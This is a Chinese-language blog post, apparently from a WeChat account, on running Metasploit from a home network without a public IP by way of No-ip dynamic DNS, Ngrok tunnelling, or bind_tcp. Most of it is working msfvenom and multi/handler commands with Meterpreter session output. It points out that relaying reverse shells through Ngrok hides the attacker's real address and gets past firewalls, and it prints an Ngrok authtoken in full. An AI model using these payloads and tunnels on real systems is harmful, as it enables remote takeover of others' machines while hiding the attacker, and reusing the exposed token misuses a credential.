所有话题标签: |
0x01 前言
一些新手朋友在使用Metasploit进行安全测试时可能经常遇到自己没有公网IP,又没有VPS的尴尬情况,如果遇到这种情况时我们又该如何在本地内网环境中使用Metasploit对其目标进行测试呢?在这篇文章中笔者将给大家介绍3种常用方法,再也不怕没有公网IP和VPS了。
0x02 No-ip动态域名
使用msfvenom命令生成载荷文件时需要填写我们监听的公网IP地址和端口号,但由于我们是动态IP,每次生成载荷文件时都需要填写不同的公网IP,个人感觉这样很是麻烦,所以这时就可以用No-ip提供的动态域名解析服务结合路由器的端口映射功能来解决这个问题。
No-ip(https://www.noip.com)是一个非常流行的动态域名解析服务,就是将ISP分配给我们的动态公网IP绑定到No-ip提供的免费域名上,每次重启后只需在No-ip客户端更新下就可以了,客户端支持Mac、Linux和Windows平台。
首先我们得先在No-ip官网进行注册,登录No-ip后创建个免费域名,下载并安装好No-ip客户端,设置好自动更新间隔时间,等一会msf8.ddns.net域名就已经解析过来了。
下载No-ip客户端源码并进行编译安装:
root@kali:~# cd /usr/local/src/
root@kali:~# wget http://www.no-ip.com/client/linux/noip-duc-linux.tar.gz
root@kali:~# tar xf noip-duc-linux.tar.gz
root@kali:~# cd noip-2.1.9-1/
root@kali:~# make
root@kali:~# sudo make install
root@kali:~# sudo /usr/local/bin/noip2 //启动No-ip客户端
root@kali:~# sudo /usr/local/bin/noip2 -C //重新配置一次
root@kali:~# sudo /usr/local/bin/noip2 -S //显示当前运行状态、信息
安装过程中主要填写以下几项:
Please enter the login/email string for no-ip.com msf8 .com(输入注册时填的邮箱地址)
Please enter the password for user '[email protected]' *******(输入密码)
Please enter an update interval:[30](noip客户端检查路由器外部网址变化间隔,默认30分钟)
Do you wish to run something at successful update?[N] (y/N) n(直接按回车即可)
root@kali:~
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.1.120
msf exploit(multi/handler) > set lport 443
msf exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.1.120:443
[*] Starting the payload handler...
[*] Sending stage (1189423 bytes) to 192.168.1.120
[*] Meterpreter session 1 opened (192.168.1.120:443 -> 192.168.1.108:49199) at 2017-04-01 02:01:16 +0800
注:这种方法在以前家庭网络中做渗透测试时经常用到的,但现在运营商提供的宽带服务,无论是动态IP还是固定IP,默认都禁止了所有端口对外服务,所以现在路由器里配置的端口映射和DMZ功能都已经失效了,也就是说这种方法可能已不再适用,如果申请开通端口还需要进行域名备案,麻烦!
运营商这样做的目的就是为了防止个人随意开设各种非法服务,也能够防止黑客通过扫描器进行的批量扫描和抓鸡等攻击行为。这样封禁能在一定程度上保证了我们的网络安全,比如说17年爆出的MS17010永恒之蓝漏洞,445端口被运营商封禁了,这样就使得国内个人家庭电脑被攻击的机率小了很多。
引用来源:
http://kekefund.com/2018/06/24/lanproxy/
0x03 Ngrok内网穿透
渗透测试中经常会用到Metasploit工具,现在大家使用的基本都是无线路由器,处于内网环境,所以无法直接使用内网IP来进行监听,这时就可以用Ngrok内网穿透方式来实现内网环境也能用Metasploit来进行渗透测试,也可以用来绕过一些防火墙限制。
Ngrok(https://www.ngrok.com)是一个非常流行的反向代理服务,可进行内网穿透,支持TCP、HTTP、HTTPS协议,客户端支持Mac,Linux和Windows平台,而且还是开源项目,有能力的可以自己去搭建,国内提供Ngrok服务的平台有:NATAPP、Sunny-Ngrok。
首先我们得先在Ngrok官网进行注册,登录到Ngrok平台并查看Authtoken密钥,然后下载Ngrok客户端并执行。
./ngrok authtoken uAL229nfa2UNRvZVCNpD_4nNBMeMYX6WU81ajNAGvB
Ngrok客户端填入我们需要转发的TCP协议和443端口,在本地执行:./ngrok tcp 443。
EXAMPLES:
ngrok http 80 # secure public URL for port 80 web server
ngrok http -subdomain=baz 8080 # port 8080 available at baz.ngrok.io
ngrok http foo.dev:80 # tunnel to host:port instead of localhost
ngrok tcp 22 # tunnel arbitrary TCP traffic to port 22
ngrok tls -hostname=foo.com 443 # TLS traffic for foo.com to port 443
ngrok start foo bar baz # start tunnels from the configuration file
root@kali:~
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.1.120
msf exploit(multi/handler) > set lport 443
msf exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.1.120:443
[*] Starting the payload handler...
[*] Sending stage (1189423 bytes) to 192.168.1.120
[*] Meterpreter session 1 opened (192.168.1.120:443 -> 192.168.1.120:57440) at 2017-04-01 02:01:16 +0800
这里是将我们内网攻击机192.168.1.120:443转发到Ngrok的1*9.*8.1*0.*3:15925,所以最终“受害机”是与Ngrok进行了通信,并没有直接与我们的攻击机进行通信,但攻击机也与Ngrok进行通信了。这样虽然能够有效隐藏攻击机的真实IP地址,但在Ngrok的服务器上还是有详细日志记录的,所以还是不要想着利用此方法去做“坏事”!
-
攻击机与Ngrok:192.168.1.120:443 -> free.idcfengye.com:15925(1*9.*8.1*0.*3)
-
受害机与Ngrok:TCP 192.168.1.4:26446 1*9.*8.1*0.*3:15925 ESTABLISHED 21120
注:类似Ngrok的FRP是一个可用于内网穿透的高性能的反向代理应用,支持TCP、UDP、HTTP、HTTPS协议,客户端也支持Mac、Linux和Windows平台。没有公网IP的解决办法还有很多,如:花生壳、Ngrok、FRP、Lanproxy等,有兴趣的可以自己去尝试搭建一个。
-
FRP:https://github.com/fatedier/frp/releases
-
Ngrok:https://github.com/bubenshchykov/ngrok
-
Lanproxy:https://github.com/ffay/lanproxy
ngrok iis6 Bad Request (Invalid Hostname):
如果将主机标头值分配给IIS中默认网站的“所有未分配的Internet协议(IP)”地址,则可能会出现这样的问题。参考以下链接:ngrok http 80 -host-header="localhost:80"
https://support.microsoft.com/en-us/help/842693/you-receive-a-http-400---bad-request-error-message-when-you-try-to-use
0x04 Bind_tcp正向连接
使用bind_tcp正向连接进行监听时无需在路由器做端口映射,因为我们是主动去连接目标服务器的,而且在特定环境下能绕过部分防火墙、WAF以及防病毒软件,只要目标服务器能通外网就OK!
Reverse TCP:
-
reverse_tcp(反向连接):就是攻击者开启一个端口,等待远程目标连接。
The reverse TCP handler is provided by the Msf::Handler::ReverseTcp class. It will listen on a port for incoming connections and will make a call into handle connection with the client sockets as they do.
-
bind_tcp(正向连接):就是远程目标开启一个端口,等待攻击者连接。
The bind TCP handler is provided through Msf::Handler::BindTcp. It will attempt to establish a connection to a target machine on a given port (specified in LPORT). If a connection is established, a call is made into handle connection passing along the socket associated with the connection.
root@kali:~# msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=443 -f exe > /root/bind.exe
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/x64/meterpreter/bind_tcp
msf exploit(multi/handler) > set rhost 192.168.1.108
msf exploit(multi/handler) > set lport 443
msf exploit(multi/handler) > exploit
[*] Started bind handler
[*] Sending stage (205891 bytes) to 192.168.1.108
[*] Meterpreter session 1 opened (192.168.1.120:35185 -> 192.168.1.108:443) at 2017-04-02 01:26:39 +0800
希望对大家有所帮助
走过路过的大佬们留个关注再走呗
如果对你有所帮助,点个分享、赞、在看呗!
本文始发于微信公众号(渗透Xiao白帽):Metasploit内网使用三种方法
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论